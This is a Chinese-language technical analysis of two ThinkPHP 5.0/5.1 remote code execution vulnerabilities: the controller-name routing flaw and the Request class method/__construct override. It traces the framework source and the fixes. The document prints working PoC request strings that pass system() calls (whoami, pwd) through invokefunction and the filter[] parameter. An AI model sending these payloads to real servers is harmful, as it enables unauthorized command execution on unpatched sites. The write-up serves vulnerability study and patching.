简介
ThinkPHP 5.x 主要分为 5.0.x 和 5.1.x 两个系列,这两个系列略有不同,在复现漏洞时也有一定的区别
在 ThinkPHP 5.x 中造成rce有两种原因:
1.路由对控制器名控制不严谨导致的RCE;
2.Request类对调用方法控制不严加上变量覆盖导致RCE
先记录下这两个的主要POC
控制器名未过滤导致rce
function
为反射调用的函数,vars[0]
为传入的回调函数,vars[1][]
为参数为回调函数的参数
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
核心类 Request 远程代码漏洞
filter[]
为回调函数,get[]
或route[]
或server[REQUEST_METHOD]
为回调函数的参数。执行回调函数的函数为call_user_func()
核心版需要开启debug模式
POST /index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_method=__construct&method=get&filter[]=system&get[]=pwd
控制器名未过滤导致RCE
简介
2018年12月9日,ThinkPHP v5系列发布安全更新v5.0.23,修复了一处可导致远程代码执行的严重漏洞。在官方公布了修复记录后,才出现的漏洞利用方式,不过不排除很早之前已经有人使用了0day
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
最终确定漏洞影响版本为:
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
理解该漏洞的关键在于理解ThinkPHP5的路由处理方式。ThinkPHP5的路由处理方式主要分为有配置路由和未配置路由的情况,在未配置路由的情况,ThinkPHP5将通过以下格式解析URL
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
同时在兼容模式下ThinkPHP还支持以下格式解析URL:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...] (参数以PATH_INFO传入)
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[&参数名=参数值...] (参数以传统方式传入)
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8
本次漏洞就产生在未匹配到路由情况下,使用兼容模式解析url时,通过构造特殊URL,调用意外的控制器中敏感函数,从而执行敏感操作
下面通过代码具体分析一下ThinkPHP的路由解析流程
路由处理逻辑详细分析
分析版本:5.0.22
跟踪路由处理的逻辑,来完整看一下该漏洞的整体调用链:
thinkphp/library/think/App.php
116行,通过 routeCheck()
方法开始url路由检测
在 routeCheck()
中,首先提取$path信息,这里获取$path的方式分为pathinfo模式和兼容模式,pathinfo模式就是通过$_SERVER['PATH_INFO']
获取到主要的path信息,==$_SERVER['PATH_INFO']
会自动将URL中的“\”替换为“/”,导致破坏掉命名空间格式==,==兼容模式下 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
,path的信息会通过get的方式获取,var_pathinfo的值默认为's',从而绕过了反斜杠的替换==,这里也是该漏洞的一个关键利用点
检测逻辑:如果开启了路由检测模式(配置文件中url_route_on为true),则进入路由检测,结果返回给$result,如果路由无效且设置了只允许路由检测模式(配置文件中url_route_must为true),则抛出异常。
在兼容模式下,检测到路由无效后(false === $result),则还会进入 Route::parseUrl()
检测路由。我们重点关注这个路由解析方式,因为该方式我们通过URL可控
返回最终的路由检测结果 $result($dispatch),交给 exec()
执行
$dispatch = self::routeCheck($request, $config); //line:116
$data = self::exec($dispatch, $config); //line:139
public static function routeCheck($request, array $config) //line:624-658
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
……
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}
thinkphp/library/think/Route.php
跟踪 Route::parseUrl()
,在注释中可以看到大概的解析方式
$url主要通过parseUrlPath()
解析,跟踪该函数发现程序通过斜杠/
来划分模块/控制器/操作
,结果为数组形式,然后将它们封装为$route,最终返回['type' => 'module', 'module' => $route]
数组,作为App.php中$dispatch的值,并传入exec()函数中
注意的是这里使用 斜杠/
来划分各个部分,我们的控制器可以通过命名空间来调用,命名空间使用反斜杠\
来划分,正好错过,这也是其中一个能利用的细节
/**
* 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2...
* @access public
* @param string $url URL地址
* @param string $depr URL分隔符
* @param bool $autoSearch 是否自动深度搜索控制器
* @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false) //line:1217-1276
{
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url); //解析URL的pathinfo参数和变量
$route = [null, null, null];
if (isset($path)) {
// 解析模块,依次得到$module, $controller, $action
……
// 封装路由
$route = [$module, $controller, $action];
}
return ['type' => 'module', 'module' => $route];
}
thinkphp/library/think/Route.php
private static function parseUrlPath($url) //line:1284-1302
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}
路由解析结果将作为exec()
的参数被执行,追踪该函数
thinkphp/library/think/App.php
追踪exec()
函数,传入了$dispatch,$config两个参数,其中$dispatch为['type' => 'module', 'module' => $route]
因为 type 为 module,直接进入对应流程,然后执行 module
方法,其中传入的参数$dispatch['module']
为模块\控制器\操作组成的数组
跟踪module()
方法,主要通过 $dispatch['module']
获取模块$module, 控制器$controller, 操作$action,可以看到==提取过程中除了做小写转换,没有做其他过滤操作==
$controller
将通过 Loader::controller
自动加载,这是ThinkPHP的自动加载机制,只用知道此步会加载我们需要的控制器代码,如果控制器不存在会抛出异常,加载成功会返回$instance
,这应该就是控制器类的实例化对象,里面保存的有控制器的文件路径,命名空间等信息
通过 is_callable([$instance, $action])
方法判断$action
是否是$instance
中可调用的方法
通过判断后,会记录$instacne,$action到$call中($call = [$instance, $action]
),方便后续调用,并更新当前$request
对象的action
最后$call
将被传入self::invokeMethod($call, $vars)
protected static function exec($dispatch, $config) //line:445-483
{
switch ($dispatch['type']) {
……
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
……
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
public static function module($result, $config, $convert = null) //line:494-608
{
……
if ($config['app_multi_module']) {
// 多模块部署
// 获取模块名
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
}
……
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}
// 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);
……
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
// 获取当前操作名
$action = $actionName . $config['action_suffix'];
$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars);
}
先提前看下5.0.23的修复情况,找到对应的commit,对传入的控制器名做了限制
thinkphp/library/think/App.php
跟踪 invokeMethod
,其中 $method = $call = [$instance, $action]
通过实例化反射对象控制$instace的$action方法,即控制器类中操作方法
中间还有一个绑定参数的操作
最后利用反射执行对应的操作
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
以上便是ThinkPHP5.0完整的路由检测,
弱点利用
如上我们知道,url 路由检测过程并没有对输入有过滤,我们也知道通过url构造的模块/控制器/操作主要来调用对应模块->对应的类->对应的方法,而这些参数通过url可控,我们便有可能操控程序中的所有控制器的代码,接下来的任务便是寻找敏感的操作
thinkphp/library/think/App.php
public static function invokeFunction($function, $vars = []) //line:311-320
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
该函数通过 ReflectionFunction()
反射调用程序中的函数,这就是一个很好利用的点,我们通过该函数可以调用系统中的各种敏感函数。
找到利用点了,现在就需要来构造poc,首先触发点在 thinkphp/library/think/App.php
中的 invokeFunction
,我们需要构造url格式为 模块\控制器\操作
模块我们用默认模块index
即可,首先大多数网站都有这个模块,而且每个模块都会加载app.php
文件,无须担心模块的选择
该文件的命名空间为 think
,类名为 app
,我们的控制器便可以构造成 \think\app
。因为ThinkPHP使用的自动加载机制会识别命名空间,这么构造是没有问题的。
操作直接为invokeFunction
,没有疑问
参数方面,我们首先要触发第一个调用函数,简化一下代码再分析一下:
第一行确定 $class 就是我们传入的控制器 \think\app
实例化后的对象
第二行绑定我们的方法,也就是invokefunction
第三方就可以调用这个方法了,其中$args是我们的参数,通过url构造,将会传入到invokefunction中
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
然后就进入我们的invokefunctio,该函数需要什么参数,我们就构造什么参数,首先构造一个调用函数function=call_user_func_array
call_user_func_array需要两个参数,第一个参数为函数名,第二个参数为数组,var[0]=system,var[1][0]=id
这里因为两次反射一次回调调用需要好好捋一捋。。。。
核心类 Request 远程代码漏洞
简介
2019年1月11日,官方更新了v5.0.24,这时5.0系列最后一个版本,改进了 Request 类的 method 方法。没看到是哪个团队挖到的该漏洞。
影响版本:
ThinkPHP v5.0.x - 5.0.23
核心问题
thinkphp/library/think/Request.php:518
在
method
方法中,默认$method=false
和config配置文件的伪装变量'var_method'='_methd'
会跳到第二个if代码块$_POST['_method']
将被赋值给this->method
,中间并没有做过滤然后是一个动态调用的结构,
$_POST
的值直接被传入到动态函数$_this->{$_POST['_method']}()
中
通过对method()
方法的代码分析,我们可以==控制Request
类中的方法,传入函数的参数也可控==
现在则需要找到 method()
方法的调用链
先来看官方的修复,对 $_POST['_method']
做了白名单限制,使其只能调用允许的方法
光有上面的问题代码还是不够的,在本次漏洞中还有一个关键函数 __construct()
,通过 method()
方调用 __construct()
可以覆盖类中的属性值
__construct() line:135
该函数通过 property_exists()
判断传入的参数是否为该类中存在的属性,如果是,则赋值
通过该功能,我们能覆盖程序中本来的值
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
于是通过post传参控制 method
方法调用__construct()
方法可以改变类中属性的值
调用链
filterValue()
既然可以通过 method()
方法能调用Request
类中任意方法,那我们先找下Request
类中存在的敏感函数。便找到一个call_user_func()
,在filterValue()
方法中:
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
……
这里主要关注第一个和第三个参数: $value, $fileters
当 $fileter
为一个回调函数时,将通过 call_user_func()
调用
在寻找一下 filterValue()
的调用情况,在 input()
方法中
input() line:994
在满足条件的情况下 input()
会调用 filterValue()
我们关注传入input()
再传入filterValue()
的参数$data
, $filter
参数$filter
在其中会经过 getFilter()
处理
看代码的逻辑处理,无论 $data
是否为数组都会调用filterValue()
方法
public function input($data = [], $name = '', $default = null, $filter = '')
{
……
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
……
return $data;
}
其中 getFileter()
的处理如下
getFilter() line:1053
默认传入的 $filter
为空''
,将会跳到else语句块,==此时 $filter
将会为$this->filter
,即为类属性的值,我们便可以通过 __construct()
来控制$this->filter
的值==
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
param() line:634
input()
将被 param()
调用,后面发现其实是param()
中的get()
或toute()
传参调用
$mergeParam
默认为false,那么empty($this->mergeParam)
将会为true,将会进入第一个 if 代码块我们关注传入
input()
的参数是$this->param
,$filter
$filter
默认为空''
,没有经过特殊处理,$this->param
将由以下数据一起合并成数组:原来的
$this->param
$this->get(false)
$vars
将会为空数组,不考虑this->route(false)
protected $mergeParam = false; //line:128
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
……
return $this->input($this->param, $name, $default, $filter);
}
get() line:689
get()
将会调用 input()
方法
关注传入input()
方法的参数$filter
,$this->get
其中$filter
为空''
,无变化
==$this->get
如上提到的,我们也可以通过 __contruct
控制==
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}
route()
==传入input()
的值主要由$_this->route
决定,我们也可以通过 __contruct
控制==
public function route($name = '', $default = null, $filter = '')
{
if (is_array($name)) {
$this->param = [];
return $this->route = array_merge($this->route, $name);
}
return $this->input($this->route, $name, $default, $filter);
}
至此,调用链构造完成,这里画图理一下逻辑
调用链利用
通过上面的分析,我们知道在 method()
通过post可以传入函数名和函数参数,通过如下构造可以控制call_user_func()
的关键参数
_method=__construct&filter[]=system&get[]=whoami
_method=__construct&filter[]=system&route[]=whoami
我们现在需要知道 tp 是如何调用 param() 和 method() 是如何被调用的。具体过程见参考了,累了累了。
这里分析一下各版本的区别
在漏洞版本范围内,主要分为完整版和核心版
核心版在debug模式下会调用param() 和 method() ,在非debug模式下无法利用,poc如下:
POST:
_method=__construct&filter[]=system&get[]=whoami
or
_method=__construct&filter[]=system&route[]=whoami
完整版因为vendor目录下具有Captcha模块,通过自动加载Captcha模块可以直接调用param() 和 method(),所以完整版可以直接利用poc
POST /index.php?s=captcha
_method=__construct&method=get&filter[]=system&get[]=ipconfig
参考:https://0verwatch.top/thinkphp-5-rce.html
seebug质量好文,总结了ThinkPHP全版本高危漏洞:https://paper.seebug.org/1377/
5.0.22分析 https://paper.seebug.org/770/
安全客的入门级讲解:https://www.anquanke.com/post/id/177173
5.0.23:https://www.anquanke.com/post/id/222672
ThinkPHP5 核心类 Request 远程代码漏洞分析:https://paper.seebug.org/787